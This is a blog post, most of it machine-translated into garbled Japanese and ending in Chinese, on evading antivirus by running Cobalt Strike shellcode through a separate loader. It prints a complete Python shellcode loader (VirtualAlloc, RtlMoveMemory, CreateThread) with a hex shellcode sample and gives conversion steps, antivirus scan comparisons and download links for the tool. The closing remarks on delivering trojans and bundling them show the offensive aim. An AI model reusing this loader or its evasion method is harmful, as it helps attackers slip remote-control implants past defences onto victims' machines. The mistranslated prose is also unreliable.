0x001原則
分離方法、すなわち、シェルコードローディングおよび分離を使用して。この方法は、より低いが、殺害を避けます。
本論文では、シェルコードがローダによって行われ、その後、シェルコードHEXに変わります。
PS：SCローダーが提供するシェルコード、すなわち、専用のツールをロードするためのどのようなものです。
HTTPの請負ツールと同様、HTTPを提出するサポート、ハードコードされたパラメータは、唯一のEXP呼び出すことができます。
さらに詳しく、アナロジーは、あなたが料理を炒めます、あなたがそれを調理言いますか？
殺すために自由0x002シェルコード
CSシェルコードは、特に、様々なフォーマット、それは使用を生成することができますか？
あなたが直接RAWを使用することはできませんので、ソフトキル殺害の一環として、ファイルをシェルコードになります。
実際には、すべてが標準CまたはRAW形式よりも確かに安全なHEX文字列を知って測定しません。
RAWおよび標準Cフォーマットは、常に、より親しまれてきたので、殺さ驚くべきことではありません。
もちろん、実際に使用することができます任意の形式は、必要な暗号化と復号化することを提供します。
のは、以下の結果との比較をするためにシェルコードCS3.13を見てみましょう
CSシェルコードがRAWフォーマットを生成する7人のソフトキル殺害（payload.bin）である
http://r.virscan.org/language/zh-cn/report/a24430ec84bdb3dd3ee0b7a1aa501635
ソフトを殺すを殺すことなく、シェルコードヘックスのCSにトランスフェクト（hex.txt）
http://r.virscan.org/language/zh-cn/report/fe7412921c7acc9d69b0da72793cd57d
0x003ローダー
pythonでは、例えば、非脳の言語発達速いです。別の暗号化アルゴリズムを使用するにも非常に簡単です
唯一の欠点は、少し大きいファイルですが、大きな問題は、結局、2Mの前で殺すこと自由はハハ許容されません。
他の言語はまた、我々はツールを書くためにどのような言語もつれてはならない、ああ共感します。ただ、PYとのより良い理解を促進
scrun.pyコード：
k8gegeによって#scrun
インポートのctypesが
SYSインポート
＃CALC.EXE
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
シェルコード=たByteArray（sys.argvの[1] .decode（ "進"））
PTR = ctypes.windll.kernel32.VirtualAlloc（ctypes.c_int（ 0）、
ctypes.c_int（LEN（シェルコード））、
ctypes.c_int（0x3000から）、
ctypes.c_int（0x40の））
BUF =（ctypes.c_char * lenは（シェルコード））。from_buffer（シェルコード）
ctypes.windll.kernel32.RtlMoveMemory（ctypes.c_int（PTR）、
BUF、
ctypesの。 c_intの（LEN（シェルコード）））
HT = ctypes.windll.kernel32.CreateThread（ctypes.c_int（0）、
ctypes.c_int（0）、
ctypes.c_int（PTR）、
（0）、ctypes.c_int
ctypes.c_int（ 0）、
ctypes.pointer（ctypes.c_int（0）） ）
ctypes.windll.kernel32.WaitForSingleObject（ctypes.c_int（HT）、ctypes.c_int（-1））
私は時間の脆弱性をテストする、GUIは、ローカルテストシェルコード通常の使用に捧げ、以下ローダを書き込むために使用されます、
まず、あなたの最初のシェルコードが実行されていることを確認していない、または他のライン上問題の抜け穴、馬ではない、あなたが来て混沌の抜け穴を言わないだろう。
PYとC＃、VC、デルファイに加えて、VBは、SCの負荷を書かれた、Delphiのバージョンは、ブログでの例を見つけることができるようになります。
0x004戦闘
1.最初の使用CSは、標準的なC言語形式ペイロードフォーマットを生成する（\ XFC \ xe8 \ x89 \ X00）Iがchar形式として定義されたナイフで
2.は直接世代CS HEXフォーマットが存在しないので、K8 HEX形式に変換するためにナイフを使用する必要があります。
具体的な手順：シャア形式シェルコードを選択し、右-Hacking - シェルコード - Char2Hex
他のフォーマットのシェルコードオーバーフロー使用は、ナイフが使用されるか、または標準的なフォーマット反転に変換することができます。
CSの私達のラインで発見3.シェルコードscrun.exe負荷Hexフォーマット。
私の記憶が正しければ、この方法は、まだあまりにもWin10システムはディフェンダーが来るもあります
私たちは殺されないために加えて、16進文字列を発見していないかどうか疑問でなく、着陸する必要はありませ
ビンファイルは、粉砕し、（私は確かに正しく覚えていない）ディフェンダーを殺すする必要があります
0x005ダウンロード
https://github.com/k8gege/scrun
https://github.com/k8gege/K8tools/blob/master/scrun.exe
https://github.com/k8gege/K8tools/blob/master/scrun.py
PSは：ASPXシェルコードをロードするためのいくつかのオンラインの記事は分離ペイロードと呼ばれる、唯一のEXEは、ペイロードと呼ばれますか？
なぜ時にコードのリモートでコードが実行されるが、ペイロードと呼ばれるのはなぜペイロードと呼ばれるSQLインジェクションのSQL文？
オーバーフローの脆弱性シェルコードと呼ばれるペイロードは？ローダにシェルコードはコード化されたのはなぜ明らかに分離で呼び出されていません。
この時点で、ローダは任意のHTTP契約をサポートし、HTTP請負ツールとして、ローダーと呼ばれていません。
しかし、単にむしろと呼ばれるツールを収縮よりも、ツールを使用して、XXと呼ばれる理由は、死んだ契約HTTPパラメータを書き込みます。
同様に、シェルコードのすべての種類をロードするように設計されたシェルコードローダーはローダーと呼ばれます。
其实以前也写过VC版的加载器，只是方法较LOW，需要多一个文件或传参执行不适合发马
发马又得想方设法将其捆绑成一个文件，捆绑可能还会被杀，VC被杀得比较历害。
ShellCode加密分离后，因为最终执行需解必，拼按时就被杀了，都还没得加载。
所以从未打算使用这种LOW方法免杀，一般是没能力做单文件免杀才需要分离。
而不是现在一些人认为所谓高级新的免杀方法，这种小儿科，在刚接触这行时就会了
看看07-12年那会，捆绑还多么流行，木马切割成多文件合并免杀的思路会没人想到？
现在是因为捆绑可能导致更容易被杀，没办法才被迫使用分离，毕竟能一文件谁愿多文件
当然单文件我也可以做，只是费点时间，懒得做而已。相关APT文章里就很多方法
基本都是白名单加载DLL，DLL释放各种加密文件，再解密执行，最终加载CS而已。